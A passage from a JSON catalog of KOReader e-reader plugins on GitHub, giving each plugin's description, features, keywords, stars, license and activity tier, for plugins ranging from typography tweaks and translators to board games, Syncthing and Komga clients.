dialog will appear, providing extra information and options if the file has associated book data","English (default)","Vietnamese","Japanese"],"keywords":["koreader","koreader-plugin","plugin","smartdelete","enhances","file","deletion","safety","prompting","before","deleting","files","special","attention","book","data","such","bookmarks","reading","history","localization","author","associated","default"],"topics":["koreader","koreader-plugin","plugin"],"stars":10,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-20T10:50:49Z","license":"CC0-1.0","default_branch":"main","has_meta":true,"readme_bytes":1445,"detail":"detail/tachibana-shin__smartdelete.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"THE-XSX/typefolio.koplugin","owner":"THE-XSX","repo":"typefolio.koplugin","url":"https://github.com/THE-XSX/typefolio.koplugin","description":"\"文笺\"为 EPUB 等 CRE 排版书提供下划线与排版微调(初次使用设置完成之后请退出书籍重新打开)：逐行/段落/强调词下划线、 荧光笔高亮、引用块装饰、章节标题线条、首字下沉、纯黑增强等，并附三个一键预设。 生成的 CSS 通过 KOReader 官方 Style tweaks（样式微调） 机制装载。与\"阅笺 / Reading Folio\"为同族插件。","purpose":"中文说明 · English 「文笺」为 EPUB 等 CRE 排版书提供下划线与排版微调：逐行/段落/强调词下划线、荧光笔高亮、引用块装饰、章节标题线条、对话高亮、首字下沉、纯黑增强等，并附自定义与内置预设。 与「阅笺 / Reading Folio」为同族插件。","categories":["ui","library"],"features":["检查位置：菜单路径 排版工具 → 书籍排版体检（英文界面下为 Typesetting tools → Typesetting health check）。","检测内容：自动抽样全书目录与当前页 HTML 结构，精准检测是否存在标准标题标签（ ~ ）、对话 Class 标记、引用块（ ）以及段首全角空格。","一键诊断：输出 0-100 健康度评分、兼容性分析，并直接给出插件参数勾选建议或 Calibre 正则修改方案。","内置与自定义预设：提供一键排版方案（如全虚线模式、研读模式、复古报纸等），同时支持将当前方案保存为独立快照，随时应用、重命名、删除或导出。","导入 / 导出：预设以版本化 .typefolio.json 文件保存在…","方案比较：将两套排版分别保存为命名预设，即可反复应用比较；选定后保留需要的预设，也可随时恢复其他方案。","一并携带 KOReader 底部菜单设置：保存或导出预设时会连同当前书的 KOReader 排版设置一起记下（字体、字号、行间距、边距、视图与渲染模式、缩放 dpi、内嵌样式与字体、顶部状态栏、屏幕方向、单书样式表等），应用到别的书时按 creoptions…","手势绑定：设置 → 手势（或快捷方式）→ 选一个手势 → 阅读器 → 排版 → 文笺。绑完后可用手势直接弹出菜单。","安装方法：将 typefolio.koplugin 复制到 KOReader 的 plugins/ 目录并重启即可。","样式表存储：KOReader 只扫描 DataStorage:getDataDir()/styletweaks/ 目录；本插件把规则动态生成并写入 99_typefolio.css。"],"keywords":["epub","cre","css","style","tweaks","reading","folio","type","calibre","bookcontext","scenes","english","recommended","workflow","check","document","health","first","automatic","hybrid","rendering","menu","map","settings"],"topics":[],"stars":10,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-11T09:11:09Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":32066,"detail":"detail/THE-XSX__typefolio.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ThePixelPro366/KoStatsMulti-Plugin","owner":"ThePixelPro366","repo":"KoStatsMulti-Plugin","url":"https://github.com/ThePixelPro366/KoStatsMulti-Plugin","description":"KoStats – KOReader Statistics Analyzer","purpose":"A free web-based statistics dashboard for KOReader hosted at thepixelpro.de/KoStatsMulti. Upload your KOReader database via a KOReader plugin and get detailed insights into your reading habits.","categories":["sync","device","files","reading","notes"],"features":["Enter your own 8-digit key, or","Use a pre-generated key","Server URL: Your dashboard URL with index.html replaced by upload.php","Example: https://thepixelpro.de/KoStatsMulti/12345678/index.html","Becomes: https://thepixelpro.de/KoStatsMulti/12345678/upload.php","Secret Key: Your 8-digit access code","Grid and list view of all books","Search by title, filter by minimum pages read","Sort by title or reading time","Automatic cover fetching via Google Books API"],"keywords":["kobo","koreader","koreader-plugin","koreader-sync","plugin","kostats","statistics","analyzer","create","personal","dashboard","configure","upload","troubleshooting","books","book","detail","reading","yearly","recap","insights","highlights","compare","goals"],"topics":["kobo","koreader","koreader-plugin","koreader-sync","plugin"],"stars":10,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-31T07:34:38Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4134,"detail":"detail/ThePixelPro366__KoStatsMulti-Plugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Tokeloshe/tomo","owner":"Tokeloshe","repo":"tomo","url":"https://github.com/Tokeloshe/tomo","description":"友 Tomo. Social Reading Companion for Kobo (KOReader plugin)","purpose":"A social reading companion for Kobo and Kindle e-readers. Tomo (友, friend) is a plugin for KOReader that adds quiet social presence to your reading life. It is not a social network. It has no feed, no algorithm, no engagement metrics. It is simply a place where readers can be together.","categories":["ui"],"features":["Connect your e-reader to your computer with a USB cable. If the device asks, tap Connect. It appears on your computer as an…","On that drive, find KOReader's plugins folder","Safely eject the drive, then restart KOReader. Exit it completely and open it again; putting the device to sleep is not a restart","Open the top menu, go to the Tools tab (the wrench icon), and find Tomo","Check the second page of the Tools menu. KOReader paginates its menus, and Tomo may be on page two","Check the folder nesting. The file main.lua must be at plugins/tomo.koplugin/main.lua. If it ended up at…","Check the folder name. It must be exactly tomo.koplugin, not tomo.koplugin-v2.7.3 or tomo"],"keywords":["koreader-plugin","koreader-plugins","tomo","social","reading","companion","kobo","place","readers","looks","like","home","screen","inside","genre","room","drawing","letter","conservatory","sekki","settings","before","begin","steps"],"topics":["koreader-plugin","koreader-plugins"],"stars":10,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-03T16:07:13Z","license":"NOASSERTION","default_branch":"main","has_meta":false,"readme_bytes":13124,"detail":"detail/Tokeloshe__tomo.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"TomasDiLeo/pageturner.koplugin","owner":"TomasDiLeo","repo":"pageturner.koplugin","url":"https://github.com/TomasDiLeo/pageturner.koplugin","description":"A KOReader plugin that connects to an Android Companion App with remote page turning capabilities","purpose":"(DEPRECATED) for the latest versions go to https://github.com/TomasDiLeo/koreader_pageturner_companion (WARNING) This version of the app is not being updated. (WARNING) This plugin does not work reliably on a Kindle device, use the HTTP Inspector based APP linked above","categories":["notes"],"features":["UDP server for receiving page turn commands","Configurable port (default: 8134)","Support for next/previous page navigation","Persistent settings for trusted IP addresses","Move the pageturner.koplugin folder into KOReader’s plugins/ directory","The plugin will appear under Tools as Page Turner","Open the plugin menu from KoReader's menu: Tools → PageTurner","Press Start Service. When the plugin's service starts you will see an Info screen detailing the IP of your device and the UDP…","Open the Page Turning Companion App","Configure the IP address (Write the IP adress shown in the Show network info pop-up)"],"keywords":["connects","android","companion","app","remote","page","turning","capabilities","pageturner","notes","commands","custom","implementations","network","port","press","turner","control","device","info","request","appear","calibre","confirmation"],"topics":[],"stars":10,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-01-21T19:42:13Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3741,"detail":"detail/TomasDiLeo__pageturner.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Bitboss2/Time-and-day-clock.koplugin","owner":"Bitboss2","repo":"Time-and-day-clock.koplugin","url":"https://github.com/Bitboss2/Time-and-day-clock.koplugin","description":"","purpose":"An ultra-low-power, highly-customizable screensaver and clock widget for KOReader on e-ink devices. Here is the clock plugin in action:","categories":["ui"],"features":["5 Watch Face Styles","Classic: Clean digital clock (Hour:Minute) with date and battery","Fullscreen: Giant stacked digits (Hour on top, Minute below) that fill the screen","Outlined: Digital clock text with a customizable outline (great for overlaying on complex PNG wallpapers)","Analog: A highly detailed analog clock face with ticking markers, hour/minute hands, and a center pivot","Word Clock: Time spelled out in French words (e.g. *\"Il est dix heures trente-cinq\"*)","Interactive Visual Customizer: Long-press anywhere on the clock screen to open a graphical dashboard. Customize layout, styles,…","Dynamic Auto-Layout: Automatically stacks all visible widgets (date, clock, battery) vertically. The layout automatically detects…","Decorative Separators & Borders: Add decorative lines, dots, diamonds, or ornamental separator dividers and corner frames"],"keywords":["time","day","clock","key","energy","optimization","battery","lifespan","compatibility","screen","minute","face","screensaver","sleep","customizer","deep","device","directory","e-reader","every","hour","kobo","layout","open"],"topics":[],"stars":9,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-06T17:25:57Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4420,"detail":"detail/Bitboss2__Time-and-day-clock.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Bluemoondragon07/Offline-Google-Translate.koplugin","owner":"Bluemoondragon07","repo":"Offline-Google-Translate.koplugin","url":"https://github.com/Bluemoondragon07/Offline-Google-Translate.koplugin","description":"An android KOreader plugin to quickly translate sentences offline using Google Translate","purpose":"Translate any sentence offline with Google Translate, instantly from within KOreader. This plugin is Android-only, as it relies on the Google Translate app.","categories":["dict"],"features":["select text or a word and tap the \"Google Translate\" button","Make sure Google Translate is installed on your device. If you'd like to do translations offline, also download your languages…","Make sure the code is inside a folder with a title that ends with .koplugin","Start KOreader and make sure \"offline google translate\" is enabled in the plugin list","changed variable and function names and values in _meta.lua and main.lua to send selected text to Google Translate instead of…"],"keywords":["google-translate","koplugin","koreader","koreader-plugin","language-learning","translate","translation","translator","android","quickly","sentences","offline","google","contributions","download","make","sure","askeinkbro","code","inside","text","select","word","tap"],"topics":["google-translate","koplugin","koreader","koreader-plugin","language-learning","translate","translation","translator"],"stars":9,"forks":1,"is_fork":true,"archived":false,"pushed_at":"2025-05-23T20:54:24Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1208,"detail":"detail/Bluemoondragon07__Offline-Google-Translate.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"ebanDev/instapaper.koplugin","owner":"ebanDev","repo":"instapaper.koplugin","url":"https://github.com/ebanDev/instapaper.koplugin","description":"An instapaper downloader KoReader plugin","purpose":"An Instapaper downloader KoReader plugin This plugin implements the Instapaper internal API: See TESTING.md for detailed instructions on how to test this plugin in the KoReader emulator.","categories":["misc"],"features":["Login to Instapaper using your username/email and password","Fetch your saved article list from Instapaper","View article titles, dates, and IDs","Parse article metadata including images","For most devices: koreader/plugins/instapaper.koreader/","Open KoReader and go to the main menu (tap the top of the screen)","Navigate to \"More tools\" → \"Instapaper\"","Enter your Instapaper username/email and password","After successful login, your saved articles will be displayed","Tap on any article to view its details (ID, date, URL)"],"keywords":["instapaper","downloader","implementation","details","testing","recent","improvements","bug","fixes","future","enhancements","article","login","timeout","articles","html","functionality","open","password","reset","script","socketutil","test","username"],"topics":[],"stars":9,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-10-08T16:25:04Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2559,"detail":"detail/ebanDev__instapaper.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"fvelsg/timesync-fork.koplugin","owner":"fvelsg","repo":"timesync-fork.koplugin","url":"https://github.com/fvelsg/timesync-fork.koplugin","description":"Timesync Plugin alternative For Koreader","purpose":"Timesync Plugin alternative for KOReader. This plugin was developed as a replacement for the default time sync plugin. It provides a robust way to keep your device's clock accurate using modern web APIs.","categories":["misc"],"features":["Auto-Sync (Daily): Automatically attempts to sync the time once per day when the device resumes","Geolocation Support: Can automatically detect your timezone based on your IP address using the ip-api.com service","Manual Timezone Overrides: Allows users to manually specify an IANA Timezone ID (e.g., America/New_York)","Reliable Time Source: Uses timeapi.io to retrieve precise date and time data in JSON format","Connect your e-reader to your computer via USB","Navigate to the KOReader plugins directory: koreader/plugins/","Create a new folder named timesync-fork.koplugin","_meta.lua","main.lua","Automatic Mode (Default): The plugin fetches your timezone automatically via ip-api.com"],"keywords":["timesync","alternative","timesync-fork","accessing","settings","automatic","manual","mode","setting","timezone","force","syncing","technical","details","time","sync","automatically","clock","date","ip-api","accurate","default","device","enable"],"topics":[],"stars":9,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-02-21T20:16:10Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2234,"detail":"detail/fvelsg__timesync-fork.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"KitanaCode/boardgames.koplugin","owner":"KitanaCode","repo":"boardgames.koplugin","url":"https://github.com/KitanaCode/boardgames.koplugin","description":"A 6-in-1, e-ink-friendly board game plugin for KOReader featuring Chess, Checkers, Connect 4, Tic Tac Toe, Minesweeper, and Battleship.","purpose":"Version 1.0.0 Made by KitanaCode For if you'd like to support me and buy my starbucks. Here's my ko-fi link! https://ko-fi.com/kitanacode","categories":["notes","games"],"features":["One Board Games entry in the KOReader Tools menu","A game picker, so there is no need to cycle through games","Easy, Medium, and Hard bot settings","Move highlighting and undo support","Per-game Help, options, and records","Black-and-white pieces designed for e-ink screens","Checkers kings with clear K badges and continued multi-jumps","Chess castling, en passant, and promotion options","Classic 9x9 Minesweeper with 10 mines","Classic 10x10 Battleship with all five standard ships"],"keywords":["6-in-1","e-ink-friendly","board","game","featuring","chess","checkers","connect","tic","tac","toe","minesweeper","battleship","games","peek","inside","favorite","setup","bar","battle","few","notes","thank","menu"],"topics":[],"stars":9,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-18T04:12:22Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4264,"detail":"detail/KitanaCode__boardgames.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"markleenders/stopwatchtimer.koplugin","owner":"markleenders","repo":"stopwatchtimer.koplugin","url":"https://github.com/markleenders/stopwatchtimer.koplugin","description":"A Stopwatch and Timer for KoReader","purpose":"A clean and reliable stopwatch + countdown timer plugin for KoReader. You can also assign a gesture or use the Dispatcher to create a quick shortcut.","categories":["misc"],"features":["Stopwatch with millisecond-accurate timing","Countdown Timer (5, 10, 15, 20, 25, 30 minute presets — cycles with \"Set Time\")","Background support — continue running while reading","Pause / Resume / Start / Restart functionality","Large, easy-to-read display","Works well on e-ink devices (minimal flashing)","Keeps device awake while the plugin is open","The plugin will appear in the menu under More tools → StopWatch / Timer","Start — begins the stopwatch or timer","Pause / Resume — pauses or continues the current session"],"keywords":["stopwatch","timer","changelog","credits","background","restart","running","start","clean","code","countdown","display","more","pause","reliable","resume","stopwatchtimer","time","while","millisecond-accurate","timing","minute","presets","cycles"],"topics":[],"stars":9,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-12T11:26:07Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2142,"detail":"detail/markleenders__stopwatchtimer.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"moritz-john/heartbeat.koplugin","owner":"moritz-john","repo":"heartbeat.koplugin","url":"https://github.com/moritz-john/heartbeat.koplugin","description":"Expose KOReader's (reading) state and book metadata as a Home Assistant binary sensor","purpose":"KOReader status sensor in Home Assistant & its attributes This plugin updates a Home Assistant binary sensor with KOReader’s status, so you can build automations around reading activity, device wake/sleep events and book metadata.","categories":["library","ai","files","notes"],"features":["KOReader (tested with: 2025.10 \"Ghost\" on a Kindle Basic 2024)","Home Assistant & a Long-Lived Access Token"],"keywords":["home-assistant","koreader","koreader-plugin","expose","reading","state","book","metadata","home","assistant","binary","sensor","heartbeat","experimental","step","download","edit","config","lua","copy","files","device","restart","settings"],"topics":["home-assistant","koreader","koreader-plugin"],"stars":9,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-03-27T17:04:57Z","license":"MIT","default_branch":"master","has_meta":true,"readme_bytes":3440,"detail":"detail/moritz-john__heartbeat.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"MsReverie/Swipe_Animation.koplugin","owner":"MsReverie","repo":"Swipe_Animation.koplugin","url":"https://github.com/MsReverie/Swipe_Animation.koplugin","description":"A software page-turn animation patch for KOReader that provides a smooth \"wipe / erase and reveal\" effect.","purpose":"KOReader 软件翻页动画补丁（擦除渐显效果） 为 KOReader 提供流畅的「擦除渐显」（wipe）翻页动画效果，特别适合没有硬件翻页动画支持的设备。 自 V4.0 起，本插件不再依赖或修改 `ffi/framebuffer.lua`。","categories":["ui","reading"],"features":["使用本仓库 restore-files 文件夹中的文件还原系统文件（直接覆盖即可）。","手动删除 koreader/patches/ 目录下的旧补丁文件：","1-mtk-swipe-direction.lua","2-mtk-swipe-direction.lua","2-swipe-full-refresh-judgment.lua","翻页动画更流畅、速度更快","减少翻页过程中的屏幕抖动","可自定义刷新速率","支持全方向滑动翻页","优化夜间模式体验"],"keywords":["software","page-turn","animation","provides","smooth","wipe","erase","reveal","effect","swipe","kindle","kobo","linux","frontend","2-pdf-animation","restore-files","1-mtk-swipe-direction","lua","2-mtk-swipe-direction","2-swipe-full-refresh-judgment"],"topics":[],"stars":9,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-12T11:09:42Z","license":"GPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":5225,"detail":"detail/MsReverie__Swipe_Animation.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"myEngAPI/KOReader-TranslatorChanger","owner":"myEngAPI","repo":"KOReader-TranslatorChanger","url":"https://github.com/myEngAPI/KOReader-TranslatorChanger","description":"KOReader-TranslatorChanger，koreader plugin，KOReader小司机翻译配置。KOReader翻译引擎切换插件。因KOReader自带翻译为Google，在国内无法使用，本插件协助KOReader切换可用翻译。","purpose":"KOReader-TranslatorChanger KOReader小司机翻译配置 本插件为KOReader翻译引擎切换。因KOReader自带翻译为Google，在国内无法使用，本插件协助KOReader切换可用翻译引擎。 目前支持的引擎有：","categories":["misc"],"features":["DeepSeek","通用OpenAI接口（如硅基流动免费模型）","KOReader on Android","雷电模拟器9","Kindle Paperwhite 6 5.17.1.0.4越狱后的KOReader","🔄 切换 翻译引擎。","下载最新版 GitHub repository","解压 然后解出xiaosiji_translator.koplugin 目录","拷贝 xiaosiji_translator.koplugin 目录","把它放在你设备的koreader/plugins/ 目录下。"],"keywords":["koreader","koreader-plugin","koreader-plugins","koreader-user-patch","koreader-translatorchanger","google","beta","deepl","xiaosiji","deepseek","translator","openai","android","kindle","paperwhite","github","repository"],"topics":["koreader","koreader-plugin","koreader-plugins","koreader-user-patch"],"stars":9,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-09T02:45:11Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":1681,"detail":"detail/myEngAPI__KOReader-TranslatorChanger.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/phrasedeck.koplugin","owner":"omer-faruq","repo":"phrasedeck.koplugin","url":"https://github.com/omer-faruq/phrasedeck.koplugin","description":"KOReader plugin to collect phrases from books and study them with Anki flashcards","purpose":"Collect phrases from your books and study them with spaced repetition flashcards, right inside KOReader. This plugin is licensed under the GNU General Public License v3.0.","categories":["dict","files"],"features":["Highlight to Collect – Select any text while reading, tap \"Add to Deck\" from the highlight menu, and save it as a flashcard","Automatic Sentence Extraction – The surrounding sentence is automatically captured as context (EPUB/HTML documents). Context…","Editable Phrase – Edit the selected phrase before saving. Long text selections are handled with scrollable input fields","Personal Notes – Add your own note or meaning to each card","Spaced Repetition (SM-2) – Study your cards with a built-in flashcard screen using the SM-2 scheduling algorithm (Again / Hard /…","Minimum Interval Setting – Set a minimum interval (1d, 3d, 7d, 14d) for spaced repetition to prevent cards from being reviewed…","Delete Cards – Delete individual cards directly from the study screen with a confirmation dialog"],"keywords":["koreader-plugin","collect","phrases","books","study","them","anki","flashcards","phrasedeck","adding","cards","studying","exporting","file","structure","data","storage","book","export","phrase","card","note","sentence","files"],"topics":["koreader-plugin"],"stars":9,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-05-12T18:06:30Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3730,"detail":"detail/omer-faruq__phrasedeck.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Tokisaki-Galaxy/kindle-koreader-custom-translator","owner":"Tokisaki-Galaxy","repo":"kindle-koreader-custom-translator","url":"https://github.com/Tokisaki-Galaxy/kindle-koreader-custom-translator","description":"","purpose":"KOReader Custom Translator Replace built-in Google Translate with a custom API for better accessibility and quality.","categories":["sync","device","files","notes"],"features":["Custom Translation Source: Uses a custom API endpoint (translate.api.tski.uk) instead of the default backend","Wide Language Support: Supports up to 249 languages, preserving KOReader's native auto-detection and Pinyin/Romaji features","One-click Install/Restore","Kindle: Install patches or restore the original version with one click via the KUAL menu","Other Devices: Automated Shell scripts provided for installation and restoration","Safe Backup: The installation script automatically detects and backs up the original translator.lua file, ensuring you can revert…","KOReader installed (latest version recommended)","Kindle Users: Jailbroken with KUAL (Kindle Unified Application Launcher) and MRPI (MobileRead Package Installer) installed","Other Devices: Permission to access the file system and run Shell scripts (usually via terminal or SSH)"],"keywords":["kindle","koreader","koreader-plugin","prerequisites","guide","method","via","kual","manual","core","file","replacement","kobo","android","linux","restore","original","uninstall","notes","troubleshooting","custom","translation","translator","script"],"topics":["kindle","koreader","koreader-plugin"],"stars":9,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-21T07:56:33Z","license":"MIT","default_branch":"master","has_meta":false,"readme_bytes":5501,"detail":"detail/Tokisaki-Galaxy__kindle-koreader-custom-translator.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"asxelot/wifiindicator.koplugin","owner":"asxelot","repo":"wifiindicator.koplugin","url":"https://github.com/asxelot/wifiindicator.koplugin","description":"KOReader plugin: suppress Wi-Fi popups, show a quiet status icon in the corner and menu bar (tap to toggle Wi-Fi)","purpose":"A KOReader plugin that stops Wi-Fi connection popups from interrupting your reading and shows unobtrusive status icons instead.","categories":["ui","device"],"features":["Suppresses Wi-Fi popups. The connection lifecycle messages from","Corner toast instead. A small transient Wi-Fi icon appears in the","Menu-bar status icon. A Wi-Fi icon sits in the drop-down menu's footer,","Non-blocking Wi-Fi connect (Kobo & other wpa_supplicant devices, and","UIManager.show — drops InfoMessages whose text matches a known","TouchMenu.init / TouchMenu.updateItems — injects an IconButton into"],"keywords":["ereader","kindle","koreader","koreader-plugin","lua","wifi","suppress","wi-fi","popups","show","quiet","status","icon","corner","menu","bar","tap","toggle","wifiindicator","does","works","caveat","tests","relation"],"topics":["ereader","kindle","koreader","koreader-plugin","lua","wifi"],"stars":8,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-23T08:27:44Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4081,"detail":"detail/asxelot__wifiindicator.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"bps/syncthing.koplugin","owner":"bps","repo":"syncthing.koplugin","url":"https://github.com/bps/syncthing.koplugin","description":"KOReader plugin that runs Syncthing on Kindle and Kobo e-readers","purpose":"A KOReader plugin that runs Syncthing directly on your e-reader (Kindle or Kobo), letting you sync books and files over your local network without a computer.","categories":["sync","ui","notes"],"features":["Start / stop Syncthing from the KOReader tools menu","Auto-download — detects device architecture (ARM / ARM64) and fetches the correct binary from GitHub releases","Connection info — shows the Web UI URL so you can configure sync from a browser on another device","Sync status — quick view of folder sync progress","Automatically enables Wi-Fi if needed","Opens firewall on Kindle (iptables); no-op on Kobo where it isn't needed","Kobo: /mnt/onboard/.adds/koreader/plugins/","Kindle: /mnt/us/koreader/plugins/","Open the menu: ☰ → Tools → Syncthing → Download binary","Once downloaded: ☰ → Tools → Syncthing → Start Syncthing"],"keywords":["koreader","koreader-plugin","runs","syncthing","kindle","kobo","e-readers","via","updates","manager","recommended","manual","directory","layout","notes","binary","tools","device","download","settings","sync","config","folder","open"],"topics":["koreader","koreader-plugin"],"stars":8,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-03-10T21:32:29Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3345,"detail":"detail/bps__syncthing.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"j-v/slopquiz.koplugin","owner":"j-v","repo":"slopquiz.koplugin","url":"https://github.com/j-v/slopquiz.koplugin","description":"Improve your reading comprehension with AI-generated chapter quizzes","purpose":"Want to improve your reading comprehension? Why not try using AI slop? SlopQuiz is a KOReader plugin that shows you LLM-generated powered quizzes at the end of each chapter using any OpenAI-compatible LLM API.","categories":["ui","ai","files","reading","games"],"features":["API Key – your provider's API key","Model ID – the model identifier (e.g. gpt-4o-mini, gemini-2.5-flash)","API Base URL – the OpenAI-compatible chat completions endpoint (e.g. https://api.openai.com/v1/chat/completions)","Enable quiz prompt for this book – toggles the end-of-chapter prompt for the currently open book","Enable quiz prompt by default for new books – sets the default for books you open in the future","The built-in default prompt (multiple-choice comprehension questions)","Additional built-in prompt styles","Custom prompts defined in config.lua","Open the KOReader gesture manager","Tap the gesture zone you want to use"],"keywords":["ai-tools","koreader","koreader-plugin","koreader-plugins","improve","reading","comprehension","ai-generated","chapter","quizzes","slopquiz","works","llm","provider","configuration","option","menu","single","file","editing","config","lua","multiple","providers"],"topics":["ai-tools","koreader","koreader-plugin","koreader-plugins"],"stars":8,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-04-07T00:23:19Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":4985,"detail":"detail/j-v__slopquiz.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"JimDBh/kokomga.koplugin","owner":"JimDBh","repo":"kokomga.koplugin","url":"https://github.com/JimDBh/kokomga.koplugin","description":"Komga client for KOReader","purpose":"A KOReader plugin that connects to your Komga server. It provides a native library browser to check your Komga catalog, download books directly to your device, and keep your reading progress perfectly synchronized.","categories":["library","notes"],"features":["Catalog Browsing: Explore your entire Komga server—including libraries, recently added, and on-deck books—with cover thumbnails,…","Bulk Downloads: Easily queue multiple books or download all remaining unread books in a series directly from the browser view","Background Pre-Downloading: Pre-download the next $N$ chapters sequentially in the background while reading","Smart Next-Chapter Transition: When you turn the last page, the plugin can instantly open the next book if it's already on your…","Automatic Book & Folder Metadata: Downloads automatically fetch rich metadata (authors, summaries, and series indexes) and save…","Progress Syncing: Keep your reading progress in sync directly with your Komga server, without needing to configure it as a KOSync…","Auto RTL for Manga: Automatically sets your reading layout to Right-to-Left (RTL) when opening manga matched with your Komga…"],"keywords":["koreader-plugin","komga","client","kokomga","highlights","documentation","browser","server","books","reading","automatically","directly","download","next","progress","view","background","book","catalog","cover","device","downloads","folder","grid"],"topics":["koreader-plugin"],"stars":8,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-22T18:59:49Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2449,"detail":"detail/JimDBh__kokomga.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"koesac/OPDSfoldersync.koplugin","owner":"koesac","repo":"OPDSfoldersync.koplugin","url":"https://github.com/koesac/OPDSfoldersync.koplugin","description":"This Koreader plugin extends OPDS functionality with per-catalog synchronization folders and automated filtering to keep content downloaded from various sources organized and up-to-date.","purpose":"This project provides an enhanced OPDS (Open Publication Distribution System) plugin for Koreader, enabling users to browse, download, and synchronize content from OPDS catalogs. A key feature of this plugin is the ability to configure *per-catalog synchronization folders*, allowing for more organized management of…","categories":["sync","library"],"features":["Automated Synchronization: Keep your catalogs synced automatically with periodic and event-based triggers (e.g., on network…","Per-Catalog Sync Folders: Assign a dedicated synchronization directory for each OPDS catalog, preventing clutter and improving…","Include/Exclude Filters: Fine-tune your syncs by setting include or exclude filters for authors and categories on a per-catalog…","Locate your Koreader installation directory. This is typically where your koreader.app or koreader.sh executable resides","Navigate to the plugins directory within your Koreader installation (e.g., /koreader/plugins/)","Delete the existing opds.koplugin directory. This step is crucial to ensure the new plugin loads correctly","Make sure you copy the entire opds.koplugin directory, not just its contents"],"keywords":["extends","opds","functionality","per-catalog","synchronization","folders","automated","filtering","keep","content","downloaded","various","sources","organized","up-to-date","opdsfoldersync","sync","adding","editing","catalog","configuration","directory","authors","categories"],"topics":[],"stars":8,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2025-12-01T22:23:24Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":6417,"detail":"detail/koesac__OPDSfoldersync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"luizcorreia/metaguiding.koplugin","owner":"luizcorreia","repo":"metaguiding.koplugin","url":"https://github.com/luizcorreia/metaguiding.koplugin","description":"","purpose":"A KOReader plugin that adds bionic-reading-style meta guiding to EPUB books: the first letters of each word are bolded to guide eye fixation.","categories":["files","notes"],"features":["Apply to this file (in place) — rewrites the current EPUB, keeping a one-time .orig backup, and reopens at your position. Best…","Restore original — reverts from the .orig backup","Generate a separate copy — writes a transformed copy elsewhere and opens it; the original is never modified","Word prefix = clamp(ceil(len * 0.5), 1, 4) characters; words shorter than 2 chars are left as-is. UTF-8 safe (accented Latin,…","The transform preserves tags, entities (Tom & Jerry), CDATA, comments, and the content of / / / / and pre-existing /","Reading position: Apply keeps it via KOReader's own XPointer restore. Restore keeps it too, except it may land ±1–2 pages off if…","If your document metadata is hash-based, rewriting the file changes its hash and can detach reading progress/annotations — 